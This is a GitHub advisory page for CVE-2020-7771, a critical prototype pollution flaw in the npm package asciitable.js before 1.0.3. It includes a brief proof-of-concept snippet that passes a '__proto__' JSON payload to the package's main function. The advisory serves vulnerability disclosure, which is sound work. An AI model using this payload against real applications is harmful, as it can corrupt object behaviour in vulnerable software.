GitHub Advisoryadvisory · npm

GHSA-5pxj-mhwj-x5gv Prototype Pollution in asciitable.js

CRITICAL Published 2021-04-13 Modified 2023-09-11 Official page ↗
Aliases
CVE-2020-7771
Ecosystem
npm
Packages
asciitable.js
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-400
Reviewed
2021-04-06

Affected packages

• npm asciitable.js: < 1.0.3 → fixed in 1.0.3

Description

The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```

Related

Alias · CVE (1)

  • CVE-2020-7771 The package asciitable.js before 1.0.3 are vulnerable to Prototype Pollution via the main function. vulnerability

Weakness · CWE (1)

  • CWE-400 Uncontrolled Resource Consumption weakness

References